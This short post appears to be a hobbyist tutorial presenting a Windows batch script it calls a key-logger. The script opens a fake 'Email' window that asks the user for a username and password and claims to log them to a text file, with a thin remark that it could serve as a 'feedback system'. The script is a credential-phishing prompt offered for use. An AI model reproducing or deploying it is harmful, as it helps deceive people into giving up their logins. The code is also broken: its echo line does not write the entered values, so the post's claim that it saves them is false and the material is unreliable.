Here we will take a look at a batch file key-logger that you can use. You may not use it as a key-logger as you could use this as a feedback system on a device or piece of batch file software so it is in the creativity of the user :)
@echo off
color 0a
title Email
cls
echo Please enter your Usernme and Password below:
set /p User=username
set /p Pass=password
echo >> Log.txt
exit
This basic yet effective code is all you need. What this batch file does is that it saves what the user types in the set /p area in a text document. It will appear wherever this program has been saved to.
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